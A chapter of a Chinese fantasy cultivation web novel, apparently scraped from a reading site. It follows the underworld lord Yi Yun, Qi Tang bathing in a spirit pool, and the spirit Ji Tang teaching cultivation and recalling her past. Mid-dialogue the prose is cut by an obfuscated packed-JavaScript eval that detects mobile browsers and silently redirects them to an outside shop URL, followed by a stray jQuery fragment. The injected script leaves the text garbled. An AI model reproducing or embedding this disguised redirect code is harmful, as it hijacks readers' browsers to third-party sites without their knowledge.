灵气化箭,利而无形。气箭擦过耳垂,钉在身前光洁如镜的玄玉地面上。地面龟裂出蛛网状的裂纹。
一缕轻薄的乌黑鬓发飒飒飘落。
“太弱了。”
身后的人说。
冷汗从后背冒出来,漆瑭缓慢地眨了下眼睛,大脑飞转思考当前情势。
她哪里得罪他了?
想不通……冥主的心情就像诡变的天,阴晴不定。
“琢光山有处淞灵池,今夜你去泡泡水,丹芽也能长得快些。”他似乎觉得不妥,又补充道:“既然与本尊结了心契,就该知道你这条命已经变得尊贵无比。好好修炼,本尊总不能时刻保护你。”
漆瑭眨了眨眼。
这话很臭屁,但许是有白竹“珠玉在前”,她竟也不觉得多讨厌。
转回身本欲道谢,熟料还未抬眼,就先和地面倒影中的易昀对视了。
玄玉地面当真是光洁如镜。一前一后,一上一下,这两个人就这么正正好好地对上视线了。
她又笑了,但这笑容几乎是一触即散,很浅,却又比从前所有的笑都真。
“是,我会的。多谢尊上关心。”
等等,谁关心她了?!
**
易昀其实不怎么犯心魔。
从前心浮气躁时他会提前喝净神汤,或是叫谢家那小儿来弹个镇魂曲。偶尔觉得压不住了,就去灵湖闭几日关。
出关了就好了,闭一次关起码能撑一年。
可这回不知为何,莫非是闭关中途被那女人打断了?
心底、脑中,有什么东西不停歇地蠢蠢欲动。
他沉入灵湖底。
湖心深处有一处真空地,硕大的树冠自地底露出一半。树冠通体晶莹,宛若琉璃,自带莹莹蓝光,照亮了漆黑的湖底。
“明日午时出关,本尊会离开冥界。”
树冠晃了晃,权作回应。
忽如梨花一瞬开,光秃秃的树枝上冒出了无数晶莹剔透的冰花。细看,每一朵竟都是极寒的焰冰玉,寒凉、坚硬。寒气几乎凝为实质,一片白茫茫。
易昀席地盘坐,便听到一个雌雄莫辨的空灵声音问:“你在怕?是在怕死吗?”
“本尊从不怕死。”他的语气跟焰冰玉一般冷硬,“本尊只是不能死。”
那个声音又问:“这世上人人都死得,为何偏你不能死?”
他不能死,他必须……做什么来着?
意识跌入混沌,朦胧里闪过一双黑白分明的笑意盈盈的眼。
很远,一千年来,一直遥不可及。
他不知那是何人,就像他不知自己是从何而来,不知为何一定要做这个冥主,又为何一定要封印恶蜮。
魂魄滞留,躯壳活动,像一具行尸走肉……
忽然,眼睛的主人向着他急速逼近,一千年来,从未如此近过。
易昀心跳加速,紧张得几乎窒息。
积压的情绪与周身黑气同时出笼。
黑气暴涨,填满了整个空间,疯狂旋转。树冠蓝的光撞上黑的气,也被搅碎。
他对将要脱离掌控的预兆感到了浓浓的无措,和恐惧。但他不知道自己在害怕,更不知道自己在害怕什么。
双眸紧闭,冷汗一滴、又一滴。
他整个人很烫,散发的热气也几乎要凝为实质。焰冰玉的寒气灭火似得一下、一下地往热气上扑。扑不及时,那热气就溢出黑气圈。热气上浮,贴在满树的焰冰玉上。
玉一层一层地化成水,滴下来。
一滴、又一滴。
他倏地睁开双目,绿意消逝,灰雾笼罩。
一滴,又一滴。清澈的泉水从细白的指缝间滑落,滴进淞灵池中,荡开了一个又一个小小的涟漪。
泉水微热,热气如白雾,袅袅婷婷。
漆瑭又捞了两把水玩,然后身子往池底一瘫,长长地舒了口气:“真爽啊!”
……
“你怎么叫我夫人?!”
漆瑭很错愕,树精小绿也同样错愕。
它又做错事了吗?
“我错了……”绿油油的小树精尴尬成了枯草黄,苦着一张脸道:“因为涿光山是内冥界禁地!除了冥主大人,从未有谁进来过。我以为……冥主大人让仙子来,就是……就是……”
实在是太尴尬了!
小绿抱住自己的脑袋,想到不久前尴尬的场景,恨不得缩成一个球。
背倚榕树,不远处就是淞灵池,隐约能听到凡人自言自语的声音。小绿掏出一个杏子,打算将注意力从尴尬回忆里拔出来。
“呸——”
才吃一口,它便吐了出来。心想,这茬杏熟的晚,确实不好吃,酸酸涩涩,难怪凡人不爱吃。
倏地,它看到不远处石榴树下站着一个令它怕到发抖的人影。不知他已经站在那多久了,像个木偶似的驻足远眺,视线的尽头凝在榕树后。
咽了口唾沫,小绿识相地悄悄离开。
然而实在好奇,它走开后朝着冥主的视线尽头也看了一眼。
树遮草掩,确实是什么也看不到啊……冥主他老人家看什么呢?
树不动,草不动。
热气和热泉在动。
淞灵池不愧是禁地货,药效没得说。整个人往池中一浸,毛孔慢悠悠地舒开。泉水中精纯的灵力汇入热气,从人全身上下的毛孔钻进去。内丹嫩芽宛如久旱逢甘霖的小苗,吨吨吨喝着灵气,肉眼可见的变大了。
果然姓“禁”的东西都是非精即奇。
漆瑭叹了一声,从岸上的袖袋里掏出一捧果子。杏子被她挑出来重新塞了回去,只剩下清甜的青梨子、橘子等等。梨子爽脆多汁,橘子饱满润泽。少女细白的胳膊搭在岸边,一边吃一边眯起眼,像只餍足的猫。
季棠坐在岸边。
这感觉实在奇怪,她与自己的身体面对面,像隔山而望,其实是隔了生与死。自己的身体突然变得格外陌生,也许是从未在这样的角度看过自己,也许是那壳子里换了人——
自己不会露出这样的表情、神态、眼神……她清清楚楚地意识到,对面这人是漆瑭,不再是季棠。
对此,季棠属实没多少伤春悲秋的心思。毕竟她只是一个偏执的执念体,整颗心里也掏不出几两与执念无关的情感。
她正在给漆瑭进行修真小讲堂。
“生人蕴生气,死人藏死气,灵物有灵气,邪物蓄邪气……这茫茫世间万物,皆有其天然之气。”
“摸得着之物,譬如灵石、灵泉,外溢的便是灵气。所谓引气入体,引得就是这股子灵气。先引气,随后练气凝于内丹,逐渐升阶,化灵气为内用,又能转内为外释放,谓之修士。”
讲到这,漆瑭点点头,伸一根食指,凌空打了个旋。无形的灵气便在她指尖蓄起,像一簇火苗。她挥手直指不远处的一枚青梨,指尖灵气如风,风过草动,梨子自中心裂成了两半。
“是这样吗?”
季棠有些吃惊,虽然此前见她硬生生催发内丹时,便知道漆瑭的神魂于修真一道上颇有天赋。可是这才几日,她对灵力的掌控竟已到了收放自如的地步!
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579089|143077||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是,你学的很快,也很有天赋,比我从前……强得多。”
许是想到了曾经带她登仙途的那人,季棠有些晃神,好的、坏的回忆如潮水漫过来。
最开始,确实是好的,极好。
季家是珩海州境内某小镇的望族。
说望族算是抬举了,只因小镇弹丸之地,容不下真正的“名门望族”。地头蛇拾掇拾掇给自己贴点金光,也没谁会多说些什么。
金光遮着的蛇头,小镇望族的族长,也就是季父本人。身为小镇土皇帝,放荡不羁,有诸多外室子。季棠就是其中之一。
无论什么东西,多了就不稀罕了,这话放在哪也成立。孩子一多,便也不稀罕了。
是男是女,是丑是美,是死是活。都没什么人在意。
季棠算是里面格外惨的一个,因为她早死的生母在生前和季夫人结过怨。如此在季父的不闻不问下,季夫人一腔怨气都发泄在了可怜的季棠身上。
诸多细节季棠早已记不得了,那毕竟是百年前的事了。
她唯独记得那年冬夜,她穿着单薄的小衫被关在季府外。天冷且干,手冻的又痛又痒,热气从口中呼出去,内里便更凉一分。
那会她才十五岁,尚不懂“惊艳”二字怎么写,却在那一夜真真正正领悟了何为惊艳。
来者白衣胜雪,如松如竹。一双眸子泛着清浅的蓝,显得格外的冷,跟这冬天一样冷。可是向她伸出的手却是那么暖。她想,一定比季夫人手里的暖炉还要暖。
小镇罕见修士,更妄论是这样皮相、气度、身份都无可挑剔的大人物。
可是,这样的大人物竟然要带她走!
季夫人说:“仙君大人,这丫头打小好吃懒做,手脚还不干净。不然,我们也不会大冬天的把小丫头丢到门外!”她将自己的女儿和儿子推出来,“您瞧这两小孩,仙君可看得上眼?”
季棠瑟瑟发抖。
她想说她没有偷东西,她是被冤枉的,可是不敢。她又害怕仙君真的不要她。
季家上下几十口人,小镇上来来往往的看客,将他们围了一圈又一圈。让尘仙君站在最中间,鹤立鸡群。可是他没有理会任何人,只垂头温声问她:“别怕。你只需回答,愿不愿随本君走。”
季棠从未如此风光过。
她说愿意。她那会以为自己已经死了,是在做梦呢,所以鼓足勇气死死牵住人家宽大的衣袖,像是握住了最后一根救命稻草。
却没想到,这一握、一松,人世竟已匆匆过了百年。
“那敢情好啊!”
清脆的呼声将回忆的潮水拦腰截断,将她从那种几乎溺毙的窒息感中拽了出来。眼前的少女眨眨眼,“我学的越快,就能越早为你报复白竹。”她挥了挥拳头,“我要将他摁在地上摩擦!”
望着少女明亮的双眸,季棠情不自禁地露出格外温柔的笑容。
“方才讲到哪了?对,气。”
“摸得着之物有气,摸不着之物亦然有气,譬如情感,譬如执念。当其纷繁浓郁至极致,便会凝作一股‘实气’。像我,执念体,就是一种实气。”
“与之相似,还有一种名为前尘蜃境。不过那种实气又与执念体不同,它是一种可以影响到所触及之人的气。”
“也许是几日前,也许是千百年前,至浓至深的情感、执念于某处凝聚,化作一股潜移暗转的‘实气’。”
“唯有天时、地利、人和三者皆备,才能被有缘人触及,重现昔年光景,窥见岁月遗落的吉光片羽。”
“方才上山时你见到的,就是此气。”